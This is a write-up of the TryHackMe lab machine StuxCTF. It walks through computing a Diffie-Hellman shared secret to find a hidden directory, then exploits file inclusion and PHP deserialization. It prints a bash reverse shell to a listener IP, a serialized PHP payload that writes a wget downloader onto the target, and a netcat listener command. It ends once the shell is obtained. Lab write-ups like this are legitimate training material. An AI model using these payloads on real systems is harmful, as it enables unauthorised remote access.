StuxCTF is a MEDIUM machine of the TryHackMe platform. In this machine we will have to discover some values in the source code of a web page, which we will have to associate with an encryption system and discover the secret. This secret will be the name of a directory on the web server, where we will exploit a LFI/RFI and a php serialization vulnerability to obtain a reverse shell on the target machine. Finally we will perform privilege escalation by exploiting a misconfiguration of sudo permissions.
Discovery
First of all, let’s test the communication with the target machine:
The value of the TTL (63) indicates that the machine may be Linux.
The scan revealed that ports 22 (SSH) and 80 (HTTP) are open. Let’s do an intensive scan on these ports to guess which services are running there:
The intensive scan shows no additional information, so let’s continue with the discovery phase.
We saw that the port 80 is open, where usually the service http is running. Let’s run whatweb tool to try to obtain info of the webpage:
It seems that the target is running Apache 2.4.18 and the OS is Ubuntu Linux.
Since we don’t have more info, let’s look at the page using the web browser
We just found a blank page… Let’s take a look to the source code:
There is a comment with interesting info there:
<!-- The secret directory is...
p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
-->
As I don’t really know what to do with that values, let’s continue with the enumeration of the webpage.
The target http server has the robots.txt file, and here is its content:
There is cool info here too. First of all, there is a comment “Diffie-Hellman”, and the other interesting thing is that the robots.txt is disallowing the /StuxCTF/ directory. Let’s check first if this directory exists:
Mmm… It doesn’t exists. After searching the term “Diffie-Hellman” to see what it means, I found this article in Wikipedia.
Diffie–Hellman (DH) key exchange[nb 1] is a mathematical method of securely generating a symmetric cryptographic key over a public channel and was one of the first public-key protocols as conceived by Ralph Merkle and named after Whitfield Diffie and Martin Hellman.
So, the values we saw in the source code of the main page before, seems to be the public parameters and the secret keys of this cryptographic algorithm.
The presence of a, b and c parameters indicate that there are 3 parts in this communication. (Alice, Bob & Carol).
Knowing that, let’s try to calculate the common secret.
To do so, I will follow the following steps:
- Carol has already calculated gc, so she sends it to alice.
- Alice will calculate
gca = gc^a mod p
and send it to bob. - Bob will calculate
gcab = gca^b mod p
which will be the common secret.
s = 4731502893726489553913132817668435073257703998402300518920399388568732895380420270497705080780083292819852656706944604442285505527079932762337253841976839
I tried using that value as the name of the secret folder, but the page said that it doesn’t exists.
The Tryhackme machine description ask us for the 128 first digits of the common secret, so I’ll try to use it as the name of the secret folder:
47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
And it displays a new page. It shows no much info, let’s look at the source code:
Aha! We got a hint there! It looks like we can use the parameter “file” in the URL. Let’s try to use “index.php” as the file value to check if there is LFI:
Yeah, it is including a local file. I tried with a bunch of other files but i get rather no response or an error telling me that the file doesn’t exist. Let’s take a look atthe string that appears when we include the file index.php.
Using the Cyberchef tool and after some tries, I found that the message is encoded in base 64, then reversed and finally hex encoded. Doing the reverse process, we got the content of index.php in clear text:
index.php source code
<br />
error_reporting(0);<br />
class file {<br />
public $file = "dump.txt";<br />
public $data = "dump test";<br />
function __destruct(){<br />
file_put_contents($this->file, $this->data);<br />
}<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
$content = file_get_contents($file_name);<br />
$tags = array("", "");<br />
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
<br />
<!DOCTYPE html><br />
<head><br />
<title>StuxCTF</title><br />
<meta charset="UTF-8"><br />
<meta name="viewport" content="width=device-width, initial-scale=1"><br />
<link rel="stylesheet" href="assets/css/bootstrap.min.css" /><br />
<link rel="stylesheet" href="assets/css/style.css" /><br />
</head><br />
<body><br />
<nav class="navbar navbar-default navbar-fixed-top"><br />
<div class="container"><br />
<div class="navbar-header"><br />
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><br />
<span class="sr-only">Toggle navigation</span><br />
</button><br />
<a class="navbar-brand" href="index.php">Home</a><br />
</div><br />
</div><br />
</nav><br />
<!-- hint: /?file= --><br />
<div class="container"><br />
<div class="jumbotron"><br />
<center><br />
<h1>Follow the white rabbit..</h1><br />
</center><br />
</div><br />
</div> <br />
<script src="assets/js/jquery-1.11.3.min.js"></script><br />
<script src="assets/js/bootstrap.min.js"></script><br />
</body><br />
</html><br />
There are several interesting things in this code. First one is:
class file {<br />
public $file = "dump.txt";<br />
public $data = "dump test";<br />
function __destruct(){<br />
file_put_contents($this->file, $this->data);<br />
}<br />
This part of the code is declaring a class named file
which contains 2 parameters ($file and $data). The destruct function of this class seems to put the value of “$data” into the file “$file”. If we manage to modify the values of this parameters, we may use it to create some files in the target server that we can use to obtain a reverse shell for example.
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
$content = file_get_contents($file_name);<br />
$tags = array("", "");<br />
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
This part of the code is checking if the file requested exists. It is also ensuring that the only valid file that can be included is “index.php”, that explains why we didn’t got any other file before. It also shows how the transformation from the php raw to hex.
unserialize(file_get_contents($file_name));<br />
And finally, this line. This seems to unserialize the content of a file. This file happens to be the $file_name, which is the value of the parameter “file” we can insert via URL.
There is a vulnerability related to PHP unserialization (PayloadAllTheThings)
So, if we manage to craft a payload that this line can deserialize, maybe we can exploit this vuln.
First of all, let’s see if we can request a remote file using the ?file= URL method. To do it, I’ll open a http server on my local machine:
After requesting the http://MyIP/check.php
, my server gets a request, so it will be possible to request remote files.
Knowing that, I’ll prepare the code of a PHP reverse shell and share it on my http server:
minirevshell.txt
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.151.70/1234 0>&1'");
?>
and then, I’ll prepare a file that will store the payload for the PHP Unserialize exploit
code.txt
O:4:"file":2:{s:4:"file";s:8:"code.php";s:4:"data";s:60:"<?php system('wget <http://10.9.151.70/minirevshell.php>'); ?>";}
Now, I’ll request the code.txt file via URL on the target machine: http://TargetIP/SecretFolder/?file=http://MyIP/code.txt
This will create a new file called code.php in the target machine, and its content will be a PHP code that will request the file “minirevshell.php” shared in my local http server.
Then I’ll open that code.php, so the request will take place:
http://TargetIP/SecretFolder/code.php
After doing that, I can see that the file minirevshell.php has been requested from my http server, so I’ll open netcat to receive the revshell with the command nc -lvnp 1234
And open in the web-browser the file minirevshell.php
http://TargetIP/SecretFolder/minirevshell.php
And just like that, we got the reverse shell. I’ve tried to obtain the reverse shell using other methods (like uploading the revshell code directly in the deserialize payload, but I got no success due to the double quotes, I also played with b64 encoding and some other things but nothing worked to me)
Now that we are inside the target machine, let’s find the user flag!